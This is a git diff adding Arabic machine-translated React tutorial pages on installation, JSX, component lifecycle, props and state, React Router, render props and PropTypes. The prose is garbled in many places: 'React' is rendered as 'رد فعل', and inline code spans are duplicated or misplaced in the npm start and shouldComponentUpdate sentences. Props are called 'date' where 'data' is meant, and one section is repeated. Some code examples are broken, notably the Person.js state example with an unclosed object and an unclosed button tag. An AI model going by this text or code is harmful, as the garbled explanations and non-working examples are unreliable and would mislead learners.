+1.  ["نتائج استطلاع رأي المطور 2017".](https://insights.stackoverflow.com/survey/2017#technology-most-loved-dreaded-and-wanted-frameworks-libraries-and-other-technologies) _Stack Overflow._ Accessed: 28 أكتوبر ، 2017.
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/installation/index.md b/client/src/guide/arabic/react/installation/index.md
new file mode 100644
index 0000000000..cddc3741b5
--- /dev/null
+++ b/client/src/guide/arabic/react/installation/index.md
@@ -0,0 +1,36 @@
+---
+title: Installation
+localeTitle: التركيب
+---
+## تثبيت رد الفعل
+
+### إنشاء مشروع React جديد
+
+يمكنك فقط تضمين مكتبة React في صفحتك على الويب مثل 2 :
+
+ `
+<script src="https://cdnjs.cloudflare.com/ajax/libs/react/16.0.0/cjs/react.production.min.js"></script> 
+` 
+
+يريد المبرمجون الأذكياء أن يتخذوا طريقة أكثر عملية وإنتاجية: [إنشاء تطبيق React](https://github.com/facebookincubator/create-react-app)
+
+ `npm install -g create-react-app 
+ create-react-app my-app 
+ 
+ cd my-app 
+ npm start 
+` 
+
+سيؤدي ذلك إلى إعداد بيئة التطوير الخاصة بك بحيث يمكنك استخدام أحدث ميزات JavaScript ، وتوفير تجربة رائعة للمطورين ، وتحسين تطبيقك للإنتاج.
+
+`npm start` خادم تطوير يسمح `npm start` التحميل المباشر 3 .
+
+بعد الانتهاء من المشروع وتكون جاهزًا لنشر تطبيقك على الإنتاج ، يمكنك استخدامه فقط `npm run build` لخلق بناء الأمثل تطبيقك في `build` المجلد.
+
+#### روابط مفيدة
+
+[إنشاء مستودع React App](https://github.com/facebookincubator/create-react-app#create-react-app-)
+
+#### مصادر
+
+[1\. رد فعل البرنامج التعليمي على تثبيت](https://reactjs.org/docs/installation.html) [2\. قم بالارتباط بمكتب React minimal JavaScript على cdnjs.org](https://cdnjs.com/libraries/react) [3\. npm تبدأ القيادة](https://docs.npmjs.com/cli/start)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/jsx/index.md b/client/src/guide/arabic/react/jsx/index.md
new file mode 100644
index 0000000000..506746ffca
--- /dev/null
+++ b/client/src/guide/arabic/react/jsx/index.md
@@ -0,0 +1,74 @@
+---
+title: JSX
+localeTitle: JSX
+---
+# JSX
+
+> JSX مختصرة لـ JavaScript XML.
+
+JSX هو تعبير يستخدم عبارات HTML صالحة داخل JavaScript. يمكنك تعيين هذا التعبير لمتغير واستخدامه في مكان آخر. يمكنك الجمع بين تعبيرات JavaScript سارية أخرى و JSX في عبارات HTML هذه من خلال وضعها ضمن أقواس ( `{}` ). تقوم بابل كذلك بتجميع JSX إلى كائن من النوع `React.createElement()` .
+
+### تعبيرات أحادية السطر ومتعددة الأسطر
+
+تعبير سطر مفرد سهل الاستخدام.
+
+ `const one = <h1>Hello World!</h1>; 
+` 
+
+عندما تحتاج إلى استخدام أسطر متعددة في تعبير JSX واحد ، اكتب الرمز داخل قوس واحد.
+
+ `const two = ( 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+` 
+
+### باستخدام علامات HTML فقط
+
+ `const greet = <h1>Hello World!</h1>; 
+` 
+
+### الجمع بين تعبير JavaScript مع علامات HTML
+
+يمكننا استخدام متغيرات جافا سكريبت في الأقواس.
+
+ `const who = "Quincy Larson"; 
+ const greet = <h1>Hello {who}!</h1>; 
+` 
+
+يمكننا أيضًا استدعاء وظائف JavaScript الأخرى داخل الأقواس.
+
+ `function who() { 
+  return "World"; 
+ } 
+ const greet = <h1>Hello {who()}!</h1>; 
+` 
+
+### يُسمح فقط بعلامة أصل واحدة
+
+يجب أن يحتوي تعبير JSX على علامة رئيسية واحدة فقط. يمكننا إضافة عدة علامات متداخلة داخل العنصر الأصل فقط.
+
+ `// This is valid. 
+ const tags = ( 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+ 
+ // This is not valid. 
+ const tags = ( 
+  <h1>Hello World!</h1> 
+  <h3>This is my special list:</h3> 
+  <ul> 
+    <li>Once</li> 
+    <li>Twice</li> 
+  </ul> 
+ ); 
+` 
+
+### معلومات اكثر
+
+*   [تقديم JSX](https://reactjs.org/docs/introducing-jsx.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/life-cycle-methods-of-a-component/index.md b/client/src/guide/arabic/react/life-cycle-methods-of-a-component/index.md
new file mode 100644
index 0000000000..644d21b62e
--- /dev/null
+++ b/client/src/guide/arabic/react/life-cycle-methods-of-a-component/index.md
@@ -0,0 +1,77 @@
+---
+title: Life Cycle Methods Of A Component
+localeTitle: طرق دورة الحياة للمكون
+---
## طرق دورة الحياة للمكون
+
+عندما نبدأ العمل مع المكونات ، نحتاج إلى تنفيذ العديد من الإجراءات لتحديث حالة أو تنفيذ بعض الإجراءات عندما يتغير شيء في هذا المكون. في هذا السيناريو ، تأتي طرق دورة حياة أحد المكونات في متناول يدك! لذلك دعونا الغوص في هذه المقالة.
+
+بشكل عام ، يمكننا تقسيم أساليب دورة الحياة إلى **3** فئات.
+
+1.  متزايد
+2.  تحديث
+3.  غير متزايد
+
+بما أن أساليب دورة الحياة تفسيرية ، فأنا سأذكر أسماء الطريقة فقط. لا تتردد في المساهمة في هذه المقالة ، إذا لزم الأمر.
+
+## تصاعد:
+
+ا. `constructor()`
+
+ب. `componentWillMount()`
+
+ج. `render()`
+
+د. `componentDidMount()`
+
+## تحديث:
+
+ا. `componentWillRecieveProps()`
+
+ب. `shouldComponentUpdate()`
+
+ج. `componentWillUpdate()`
+
+د. `render()`
+
+ه. `componentDidUpdate()`
+
+## غير متزايد:
+
+ا. `componentWillUnmount()`
+
+## بعض الحقائق المثيرة للاهتمام لاحظت:
+
+*   سيتم استدعاء `constructor` و `componentWillMount` و `componentDidMount` و `componentWillUnmount` مرة واحدة فقط خلال دورة حياة المكون.
+*   لن يتم تنفيذ `componentWillUpdate` ، و `componentDidUpdate` إلا إذا كان `shouldComponentUpdate` إرجاع `shouldComponentUpdate` فقط.
+*   سيتم استدعاء `componentWillUnmount()` فقط قبل إلغاء تثبيت أي مكون ، ومن ثم يمكن استخدامه لتحرير الذاكرة المستخدمة ، وإغلاق أي اتصالات إلى DB ، إلخ.
+
+يمكن تعلم الكثير من الأشياء عن طريق الغوص في الترميز. حتى الحصول على يديك القذرة بواسطة الترميز.
+
+ملحوظة:
+
+> "سيتم تمكين تحذيرات الإزالة مع إصدار 16.x مستقبلي ، **ولكن** ستستمر دورات العمر للتشغيل **حتى الإصدار 17.** " 1
+> 
+> "حتى في الإصدار 17 ، سيظل من الممكن استخدامها ، ولكنها ستكون مستعارة ببادئة" UNSAFE\_ "للإشارة إلى أنها قد تسبب مشاكل. كما أعدنا [نصًا تلقائيًا لإعادة تسميته](https://github.com/reactjs/react-codemod#rename-unsafe-lifecycles) في الشفرة الحالية." 1
+
+وبعبارة أخرى ، ستظل أساليب دورة الحياة السابقة هذه متوفرة على النحو التالي:
+
+*   `UNSAFE_componentWillMount`
+*   `UNSAFE_componentWillReceiveProps`
+*   `UNSAFE_componentWillUpdate`
+
+## طرق دورة الحياة الجديدة
+
+سيتم تقديم أساليب دورة الحياة الجديدة في React 17
+
+*   `getDerivedStateFromProps` بديلاً أكثر أمانًا `componentWillReceiveProps` .
+*   سيتم إضافة `getSnapshotBeforeUpdate` لدعم قراءة الخصائص بأمان من التحديثات DOM تتم
+
+يمكن تعلم الكثير من الأشياء عن طريق الغوص في الترميز. حتى الحصول على يديك القذرة بواسطة الترميز.
+
+### مصادر
+
+1.  [فون ، برايان. "React v16.3.0: New lifecycles and context API". 29 مارس 2018. تم الوصول إليها: 22 مايو 2018.](https://reactjs.org/blog/2018/03/29/react-v-16-3.html)
+
+### مصادر
+
+[تحديث على التقديم المتزامن](https://reactjs.org/blog/2018/03/27/update-on-async-rendering.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/props/index.md b/client/src/guide/arabic/react/props/index.md
new file mode 100644
index 0000000000..7eef08af9b
--- /dev/null
+++ b/client/src/guide/arabic/react/props/index.md
@@ -0,0 +1,7 @@
+---
+title: Props
+localeTitle: الدعائم
+---
+### ما هي الدعائم؟
+
+الدعائم (اختصار الخصائص) هي التاريخ الذي تم تمريره إلى المكون. هم غير قابل للتغيير (للقراءة فقط).
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/react-props-state/index.md b/client/src/guide/arabic/react/react-props-state/index.md
new file mode 100644
index 0000000000..88ae96efa9
--- /dev/null
+++ b/client/src/guide/arabic/react/react-props-state/index.md
@@ -0,0 +1,157 @@
+---
+title: React Props and State
+localeTitle: رد فعل الدعائم والدولة
+---
+## الدعائم والدولة
+
+هناك نوعان من البيانات التي تتحكم في المكون: الدعائم والدولة. يتم تعيين الدعائم من قبل الوالدين ويتم إصلاحها طوال عمر أحد المكونات. للبيانات التي سوف تتغير ، يتعين علينا استخدام الدولة.
+
+### الدعائم
+
+يمكن تخصيص معظم المكونات بمعلمات مختلفة عند إنشائها. تسمى هذه المعلمات إنشاء `props` .
+
+يمكن للمكونات الخاصة بك أيضا استخدام الدعائم. يتيح لك ذلك إنشاء مكون واحد يتم استخدامه في العديد من الأماكن المختلفة في تطبيقك ، مع خصائص مختلفة قليلاً في كل مكان. ارجع إلى `this.props` في وظيفة العرض:
+
+ `class Welcome extends React.Component { 
+  render() { 
+    return <h1>Hello {this.props.name}</h1>; 
+  } 
+ } 
+ 
+ const element = <Welcome name="neel" />; 
+` 
+
+ينشئ السطر `<Welcome name="neel" />` اسم خاصية بقيمة `"neel"` .
+
+يتم تمرير الخاصية إلى المكون ، تشبه كيفية تمرير وسيطة إلى دالة. في الواقع ، يمكننا حتى إعادة كتابة المكون ليكون أكثر بساطة:
+
+ `function Welcome(props) { 
+  return <h1>Hello {props.name}</h1>; 
+ } 
+` 
+
+يمكننا جعل خاصية الاسم اختيارية بإضافة defaultProps إلى فئة الترحيب:
+
+ `class Welcome extends React.Component { 
+  render() { 
+    return <h1>Hello {this.props.name}</h1>; 
+  } 
+ } 
+ 
+ Welcome.defaultProps = { 
+  name: "world", 
+ }; 
+` 
+
+إذا تم استدعاء Welcome بدون اسم ، فسيتم عرض `<h1> Hello world</h1>` .
+
+يمكن أن تأتي `props` من الأصل ، أو يمكن تعيينها بواسطة المكون نفسه.
+
+لقد اعتدت أن تكون قادرًا على تغيير الدعامات باستخدام setProps و replaceProps ولكن تم **إهمالها** . خلال دورة حياة المكون ، يجب ألا تتغير الدعامات (اعتبرها غير قابلة للتغيير).
+
+بما أن الدعائم يتم تمريرها ، ولا يمكن تغييرها ، يمكنك التفكير في أي مكون React الذي يستخدم فقط الدعائم (وليس الحالة) على أنها "نقية" ، أي أنه سيؤدي دائمًا إلى تقديم نفس المخرجات وفقًا للإدخال نفسه. هذا يجعلها سهلة الاختبار.
+
+### حالة
+
+مثل `props` ، تحمل `state` معلومات حول المكون. ومع ذلك ، يختلف نوع المعلومات وكيفية التعامل معها.
+
+بشكل افتراضي ، لا يحتوي أي مكون على حالة. عنصر `Welcome` من الأعلى عديم الحالة:
+
+ `function Welcome(props) { 
+  return <h1>Hello {props.name}</h1>; 
+ } 
+` 
+
+عندما يحتاج أحد المكونات إلى تتبع المعلومات بين عمليات العرض ، يمكن للمكون نفسه إنشاء وتحديث واستخدام الحالة.
+
+سنعمل مع مكون بسيط إلى حد ما لرؤية `state` تعمل في العمل. لدينا زر يتتبع عدد المرات التي نقرت فيها.
+
+هنا الرمز:
+
+ `class Button extends React.Component { 
+  constructor() { 
+    super(); 
+    this.state = { 
+      count: 0, 
+    }; 
+  } 
+ 
+  updateCount() { 
+    this.setState((prevState, props) => { 
+      return { count: prevState.count + 1 } 
+    }); 
+  } 
+ 
+  render() { 
+    return (<button 
+              onClick={() => this.updateCount()} 
+            > 
+              Clicked {this.state.count} times 
+            </button>); 
+  } 
+ } 
+` 
+
+### يتم إنشاء الحالة في المكون
+
+دعونا ننظر إلى طريقة `constructor` :
+
+ `constructor() { 
+  super(); 
+  this.state = { 
+    count: 0, 
+  }; 
+ } 
+` 
+
+هذا هو المكان الذي تحصل فيه الدولة على بياناتها الأولية. يمكن أن تكون البيانات الشفوية مشفرة بشكل صارم (على النحو الوارد أعلاه) ، ولكنها يمكن أن تأتي أيضًا من `props` .
+
+### `state` قابلة للتغيير
+
+إليك طريقة `updateCount` :
+
+ `updateCount() { 
+  this.setState((prevState, props) => { 
+    return { count: prevState.count + 1 } 
+  }); 
+ } 
+` 
+
+نقوم بتغيير الحالة لتتبع إجمالي عدد النقرات. الشيء المهم هو setState. أولا ، لاحظ أن setState يأخذ وظيفة ، وهذا لأنه يمكن تشغيل setState بشكل غير متزامن. يجب أن تأخذ وظيفة رد اتصال بدلاً من تحديث الحالة مباشرة. يمكنك أن ترى أن لدينا إمكانية الوصول إلى prevState داخل معاودة الاتصال ، سيحتوي ذلك على الحالة السابقة ، حتى إذا كانت الولاية قد تم تحديثها بالفعل في مكان آخر.
+
+الرد يخطو خطوة واحدة نحو أفضل، setState بتحديث `state` الكائن **وإعادة** يجعل-المكون التلقائى.
+
+### تحذيرات `state`
+
+> من المغري كتابة هذا `this.state.count = this.state.count + 1` .
+
+**لا تفعل هذا** React لا يمكن الاستماع إلى حالة الحصول على تحديث بهذه الطريقة ، لذلك لن إعادة تقديم المكون الخاص بك. دائما استخدام `setState` .
+
+قد يكون من المغري أيضًا كتابة شيء كهذا:
+
+ `// DO NOT USE 
+ this.setState({ 
+  count: this.state.count + 1 
+ }); 
+` 
+
+على الرغم من أن هذا قد يبدو معقولاً ، إلا أنه لا يرمي الأخطاء ، وقد تجد أمثلة تستخدم هذه الصيغة على الإنترنت ، إلا أنها خاطئة. هذا لا يأخذ في الاعتبار الطبيعة `setState` التي يمكن أن `setState` وقد يسبب أخطاء مع بيانات حالة التزامن.
+
+### تابع البرنامج !!!
+
+وأخيرا ، `render`
+
+ `render() { 
+  return (<button 
+            onClick={() => this.updateCount()} 
+          > 
+            Clicked {this.state.count} times 
+          </button>); 
+ } 
+` 
+
+`onClick={() => this.updateCount()}` يعني أنه عند النقر فوق الزر سيتم استدعاء أسلوب updateCount. نحتاج إلى استخدام **وظيفة السهم** ES6 حتى يتمكن updateCount من الوصول إلى حالة هذا المثيل.
+
+يتم عرض النص الذي تم `Clicked {this.state.count} times` في الزر `Clicked {this.state.count} times` ، والذي سيستخدم أيًا من هذا التاريخ.الجملة في وقت التقديم.
+
+مزيد من المعلومات حول: [**رد فعل الدعائم والدولة**](https://facebook.github.io/react-vr/docs/components-props-and-state.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/react-router/index.md b/client/src/guide/arabic/react/react-router/index.md
new file mode 100644
index 0000000000..725cc7afdd
--- /dev/null
+++ b/client/src/guide/arabic/react/react-router/index.md
@@ -0,0 +1,43 @@
+# localeTitle: undefined
+React راوتر للمبتدئين
+
+# التركيب
+
+تم تقسيم "React Router" إلى ثلاث حزم: `react-router` ، `react-router-dom` ، `react-router` ، `react-router-dom` ، `react-router-native` .
+
+يجب ألا تضطر مطلقًا إلى تثبيت موجه الاستجابة مباشرة. توفر هذه الحزمة مكونات التوجيه الأساسية ووظائف تطبيقات React Router. أما النوعان الآخران فيوفران مكونات خاصة بالبيئة (المستعرض والتفاعلية الأصلية) ، ولكنهما يعيدان أيضًا تصدير جميع صادرات أجهزة التوجيه التفاعلية.
+
+نحن نبني موقعًا على الويب (وهو أمر سيتم تشغيله في المتصفحات) ، لذا سنقوم بتثبيت رد جهاز التوجيه.
+
+`npm install --save react-router-dom`
+
+# جهاز التوجيه
+
+عند بدء مشروع جديد ، تحتاج إلى تحديد نوع جهاز التوجيه الذي يجب استخدامه. للمشاريع القائمة على المتصفح ، هناك و المكونات. يجب استخدام `<BrowserRouter>` عندما يكون لديك خادم يتعامل مع الطلبات الديناميكية (يعرف كيفية الرد على أي URI محتمل) ، بينما يجب استخدامه لمواقع الويب الثابتة (حيث يمكن للملقم الاستجابة فقط لطلبات الملفات التي يعرفها).
+
+عادة ما يكون من الأفضل استخدام `<BrowserRouter>` ، ولكن إذا كان موقعك مستضافًا على خادم يخدم ملفات ثابتة فقط ، فإن `<HashRouter>` هو حل جيد.
+
+بالنسبة `<BrowserRouter>` ، سنفترض أن الموقع سيتم دعمه من خلال خادم ديناميكي ، لذا فإن مكون الموجه المفضل لدينا هو `<BrowserRouter>` .
+
+# بيان الاستيراد
+
+ `import { BrowserRouter as Router, Switch, Route, Link } from 'react-router-dom'; 
+` 
+
+## IndexRoute والروابط
+
+الآن ، دعنا نضيف التنقل للوصول بنا بين الصفحات.
+
+للقيام بذلك ، `<Link>` مكون `<Link>` . يشبه `<Link>` استخدام علامة ارتساء html.
+
+من المستندات:
+
+الطريقة الأساسية للسماح للمستخدمين بالتنقل حول تطبيقك.  سيجعل علامة ارتساء يمكن الوصول إليها بالكامل مع href الصحيح. للقيام بذلك ، دعنا أولاً إنشاء مكون Nav. سيحتوي مكون Nav الخاص بنا على مكونات `<Link>` ، وسيبدو كما يلي:
+
+ `const Nav = () => ( 
+  <div> 
+    <Link to='/'>Home</Link>&nbsp; 
+    <Link to='/address'>Address</Link> 
+  </div> 
+ ) 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/render-props-component/index.md b/client/src/guide/arabic/react/render-props-component/index.md
new file mode 100644
index 0000000000..8ae04e0465
--- /dev/null
+++ b/client/src/guide/arabic/react/render-props-component/index.md
@@ -0,0 +1,56 @@
+---
+title: Render Props Component
+localeTitle: تقديم الدعائم مكون
+---
+## تقديم الدعائم مكون
+
+الدعائم Render هو نمط React المتقدمة ، ولكن في غاية البساطة!
+
+### مثال
+
+هذا مثال على كيفية استخدام تقديم دعم لوظيفة تبديل.
+
+ `import React, { PureComponent } from "react"; 
+ 
+ class Toggle extends PureComponent { 
+  state = { 
+    on: false 
+  }; 
+ 
+  toggle = () => { 
+    this.setState({ 
+      on: !this.state.on 
+    }); 
+  }; 
+ 
+  render() { 
+    const { children } = this.props; 
+    return children({ 
+      on: this.state.on, 
+      toggle: this.toggle 
+    }); 
+  } 
+ } 
+ 
+ export default Toggle; 
+` 
+
+هذا المكون تبديل سيعود انها الأطفال `state.on` وتبديل وظيفة. والتي يمكن استخدامها في مكونات الطفل.
+
+يمكن استخدام Toggle كالتالي:
+
+ `<Toggle> 
+  {({ on, toggle }) => ( 
+    <Fragment> 
+      <button onClick={toggle}>Show / Hide</button> 
+      {on && <h1>I can be toggled on or off!</h1>} 
+    </Fragment> 
+  )} 
+ </Toggle> 
+` 
+
+كما ترى ، يمكن استخدام وظيفة التبديل من خلال زر الطفل لتبديل بعض المحتوى. إذا كان صحيحًا ، فسيتم عرض علامة h1 بخلاف ذلك.
+
+## موارد آخرى
+
+*   [رد فعل المستندات: تقديم الدعائم](https://reactjs.org/docs/render-props.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/state-vs-props/index.md b/client/src/guide/arabic/react/state-vs-props/index.md
new file mode 100644
index 0000000000..0b4e96ee57
--- /dev/null
+++ b/client/src/guide/arabic/react/state-vs-props/index.md
@@ -0,0 +1,83 @@
+---
+title: State vs Props
+localeTitle: الدولة مقابل الدعائم
+---
## الدولة مقابل الدعائم
+
+عندما نبدأ العمل مع مكونات React ، فإننا نسمع بشكل متكرر فترتين. هم `state` `props` . لذلك ، في هذه المقالة سوف نستكشف ما هي تلك وكيف تختلف.
+
+## حالة:
+
+*   الدولة هي شيء يمتلكه المكون. إنه ينتمي إلى ذلك المكون المحدد حيث يتم تعريفه. على سبيل المثال ، عمر الشخص هو حالة ذلك الشخص.
+*   الدولة قابلة للتغيير. ولكن لا يمكن تغييره إلا عن طريق ذلك العنصر الذي يملكه. لأنني لا أستطيع سوى تغيير عمري ، وليس أي شخص آخر.
+*   يمكنك تغيير حالة باستخدام هذا `this.setState()`
+
+انظر المثال أدناه للحصول على فكرة عن الحالة:
+
+#### Person.js
+
+ `  import React from 'react'; 
+ 
+  class Person extends React.Component{ 
+    constructor(props) { 
+      super(props); 
+      this.state = { 
+        age:0 
+      this.incrementAge = this.incrementAge.bind(this) 
+    } 
+ 
+    incrementAge(){ 
+      this.setState({ 
+        age:this.state.age + 1; 
+      }); 
+    } 
+ 
+    render(){ 
+      return( 
+        <div> 
+          <label>My age is: {this.state.age}</label> 
+          <button onClick={this.incrementAge}>Grow me older !!<button> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default Person; 
+` 
+
+في المثال أعلاه ، `age` هو مكون حالة `Person` .
+
+## الدعائم:
+
+*   الدعائم تشبه حجج الأسلوب. يتم تمريرها إلى مكون حيث يتم استخدام هذا المكون.
+*   الدعائم غير قابلة للتغيير. هم للقراءة فقط.
+
+انظر المثال أدناه للحصول على فكرة من الدعائم:
+
+#### Person.js
+
+ `  import React from 'react'; 
+ 
+  class Person extends React.Component{ 
+    render(){ 
+      return( 
+        <div> 
+          <label>I am a {this.props.character} person.</label> 
+        </div> 
+      ); 
+    } 
+  } 
+ 
+  export default Person; 
+ 
+  const person = <Person character = "good"></Person> 
+` 
+
+في المثال أعلاه ، `const person = <Person character = "good"></Person>` نقوم بتمرير `character = "good"` للدعم إلى مكون `Person` .
+
+يعطي الناتج "أنا شخص جيد" ، في الحقيقة أنا.
+
+هناك الكثير لتعلمه على State and Props. يمكن تعلم الكثير من الأشياء عن طريق الغوص في الترميز. حتى الحصول على يديك القذرة بواسطة الترميز.
+
+اتصل بي على [twitter](https://twitter.com/getifyJr) إذا لزم الأمر.
+
+الترميز سعيدة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/state/index.md b/client/src/guide/arabic/react/state/index.md
new file mode 100644
index 0000000000..6d9b829d22
--- /dev/null
+++ b/client/src/guide/arabic/react/state/index.md
@@ -0,0 +1,123 @@
+---
+title: State
+localeTitle: حالة
+---
+# حالة
+
+الدولة هي المكان الذي تأتي منه البيانات.
+
+يجب أن نحاول دائمًا جعل ولايتنا بسيطة قدر الإمكان وتقليل عدد المكونات الحميدة. إذا كان لدينا ، على سبيل المثال ، عشرة مكونات تحتاج إلى بيانات من الحالة ، فيجب علينا إنشاء مكون حاوية واحد سيحافظ على الحالة لكلها.
+
+الدولة هي في الأساس مثل كائن عالمي متاح في كل مكان في أحد المكونات.
+
+مثال على مكون فئة جليل:
+
+ `import React from 'react'; 
+ 
+ class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    // We declare the state as shown below 
+ 
+    this.state = { 
+      x: "This is x from state", 
+      y: "This is y from state" 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.x}</h1> 
+        <h2>{this.state.y}</h2> 
+      </div> 
+    ); 
+  } 
+ } 
+ export default App; 
+` 
+
+مثال آخر:
+
+ `import React from 'react'; 
+ 
+ class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    // We declare the state as shown below 
+    this.state = { 
+      x: "This is x from state", 
+      y: "This is y from state" 
+    } 
+  } 
+ 
+  render() { 
+    let x1 = this.state.x; 
+    let y1 = this.state.y; 
+ 
+    return ( 
+      <div> 
+        <h1>{x1}</h1> 
+        <h2>{y1}</h2> 
+      </div> 
+    ); 
+  } 
+ } 
+ export default App; 
+` 
+
+## تحديث الدولة
+
+يمكنك تغيير البيانات المخزنة في حالة التطبيق الخاص بك باستخدام طريقة `setState` على المكون الخاص بك.
+
+ `this.setState({ value: 1 }); 
+` 
+
+ضع في اعتبارك أن `setState` غير متزامن لذا يجب توخي الحذر عند استخدام الحالة الحالية لتعيين حالة جديدة. مثال جيد لهذا سيكون إذا كنت ترغب في زيادة قيمة في ولايتك.
+
+#### الطريق الخطأ
+
+ `this.setState({ value: this.state.value + 1 }); 
+` 
+
+يمكن أن يؤدي ذلك إلى سلوك غير متوقع في تطبيقك إذا كان الرمز أعلاه يُسمى عدة مرات في نفس دورة التحديث. لتجنب هذا يمكنك تمرير دالة رد اتصال محدث إلى `setState` بدلاً من كائن.
+
+#### الطريق الصحيح
+
+ `this.setState(prevState => ({ value: prevState.value + 1 })); 
+` 
+
+## تحديث الدولة
+
+يمكنك تغيير البيانات المخزنة في حالة التطبيق الخاص بك باستخدام طريقة `setState` على المكون الخاص بك.
+
+ `this.setState({value: 1}); 
+` 
+
+ضع في اعتبارك أن `setState` قد تكون غير متزامنة لذا يجب توخي الحذر عند استخدام الحالة الحالية لتعيين حالة جديدة. مثال جيد لهذا سيكون إذا كنت ترغب في زيادة قيمة في ولايتك.
+
+##### الطريق الخطأ
+
+ `this.setState({value: this.state.value + 1}); 
+` 
+
+يمكن أن يؤدي ذلك إلى سلوك غير متوقع في تطبيقك إذا كان الرمز أعلاه يُسمى عدة مرات في نفس دورة التحديث. لتجنب هذا يمكنك تمرير دالة رد اتصال محدث إلى `setState` بدلاً من كائن.
+
+##### الطريق الصحيح
+
+ `this.setState(prevState => ({value: prevState.value + 1})); 
+` 
+
+##### الطريق الأنظف
+
+ `this.setState(({ value }) => ({ value: value + 1 })); 
+` 
+
+عندما تكون هناك حاجة لعدد محدود من الحقول في كائن الحالة ، يمكن استخدام تدمير الكائن لرمز أنظف.
+
+### معلومات اكثر
+
+*   [رد الفعل - الدولة ودورة الحياة](https://reactjs.org/docs/state-and-lifecycle.html)
+*   [رد الفعل - رفع الدولة](https://reactjs.org/docs/lifting-state-up.html)
+*   [رد الفعل الأصلية - حتى الدولة](https://facebook.github.io/react-native/docs/state.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/what-are-react-props/index.md b/client/src/guide/arabic/react/what-are-react-props/index.md
new file mode 100644
index 0000000000..9262bc78d9
--- /dev/null
+++ b/client/src/guide/arabic/react/what-are-react-props/index.md
@@ -0,0 +1,122 @@
+---
+title: React TypeChecking with PropTypes
+localeTitle: React TypeChecking مع PropTypes
+---
## رد فعل PropTypes
+
+هذه هي بمثابة طريقة للتحقق من الكتابة مع تطبيق يميل إلى النمو ، مع هذا قاعدة كبيرة جدا من الأخطاء يميل إلى تصحيح مع استخدام هذه الميزة.
+
+## كيفية الحصول على PropTypes
+
+بدءًا من React version 15.5 ، تم نقل هذه الميزة إلى حزمة منفصلة باسم prop-types.
+
+لاستخدامه ، يلزم إضافته إلى المشروع باعتباره تبعية من خلال إصدار الأمر التالي في وحدة التحكم.
+
+ `npm install --save prop-types 
+` 
+
+بعد ذلك ، هناك مجموعة كاملة من أدوات التحقق التي يمكن استخدامها للتأكد من أن البيانات التي سيستقبلها المطور صحيحة بالفعل. عند تقديم قيمة غير صالحة ، سيظهر تحذير في وحدة تحكم جافا سكريبت.
+
+لاحظ أنه لأسباب تتعلق بالأداء يتم تحديد PropTypes المحددة فقط أثناء وضع التطوير.
+
+أيضا على العكس من حالة المكون ، والتي يمكن التلاعب بها حسب الحاجة ، وهذه الدعائم هي للقراءة فقط.
+
+لا يمكن تغيير القيمة بواسطة المكون.
+
+## الجسيمات المتاحة
+
+خوار هو مثال رمز مع المدققين المختلفة المقدمة من الحزمة ، وكيفية حقنها في المكون.
+
+ ``import PropTypes from 'prop-types'; 
+ class MyComponent extends Component{ 
+    constructor(props){ 
+        super(props); 
+    } 
+    render(){ 
+        return ( 
+            ... 
+        ); 
+    } 
+ } 
+ 
+ MyComponent.propTypes = { 
+  // A prop that is a specific JS primitive. By default, these 
+  // are all optional. 
+  optionalArray: PropTypes.array, 
+  optionalBool: PropTypes.bool, 
+  optionalFunc: PropTypes.func, 
+  optionalNumber: PropTypes.number, 
+  optionalObject: PropTypes.object, 
+  optionalString: PropTypes.string, 
+  optionalSymbol: PropTypes.symbol, 
+ 
+  // Anything that can be rendered: numbers, strings, elements or an array 
+  // (or fragment) containing these types. 
+  optionalNode: PropTypes.node, 
+ 
+  // A React element as a PropType 
+  optionalElement: PropTypes.element, 
+ 
+  // Declaring that a prop is an instance of a class. This uses 
+  // JS's instanceof operator. 
+  optionalMessage: PropTypes.instanceOf(AnotherComponent), 
+ 
+  // You can ensure that your prop is limited to specific values by treating 
+  // it as an enum. 
+  optionalEnum: PropTypes.oneOf(['News', 'Photos']), 
+ 
+  // An object that could be one of many types 
+  optionalUnion: PropTypes.oneOfType([ 
+    PropTypes.string, 
+    PropTypes.number, 
+    PropTypes.instanceOf(AnotherComponent) 
+  ]), 
+ 
+  // An array of a certain type 
+  optionalArrayOf: PropTypes.arrayOf(PropTypes.number), 
+ 
+  // An object with property values of a certain type 
+  optionalObjectOf: PropTypes.objectOf(PropTypes.number), 
+ 
+  // An object taking on a particular shape 
+  optionalObjectWithShape: PropTypes.shape({ 
+    color: PropTypes.string, 
+    fontSize: PropTypes.number 
+  }), 
+ 
+  // You can chain any of the above with `isRequired` to make sure a warning 
+  // is shown if the prop isn't provided. 
+  requiredFunc: PropTypes.func.isRequired, 
+ 
+  // A value of any data type 
+  requiredAny: PropTypes.any.isRequired, 
+ }; 
+`` 
+
+## ضبط القيم الافتراضية
+
+كجزء من هذه الميزة ، من الممكن أيضًا تحديد القيم الافتراضية لأي مكون محدد يتم تعريفه أثناء التطوير.
+
+هذه تأكد من أن الدعامة سيكون لها قيمة حتى إذا لم يتم تحديدها بواسطة المكون الأصلي.
+
+الكود أدناه يفضح كيفية استخدام هذه funcionality.
+
+ `import React,{Component} from 'react'; 
+ import PropTypes from 'prop-types'; 
+ class MyComponent extends Component{ 
+    constructor(props){ 
+        super(props); 
+    } 
+    render(){ 
+        return ( 
+            <h3>Hello, {this.props.name}</h3> 
+        ); 
+    } 
+ } 
+ MyComponent.defaultProps = { 
+  name: 'Stranger' 
+ }; 
+` 
+
+لمزيد من المعلومات حول PropTypes والمستندات الأخرى على React.
+
+انتقل إلى [الموقع الرسمي](https://reactjs.org/) وقراءة المستندات أو [Gitub Repo](https://github.com/facebook/react/)
\ No newline at end of file
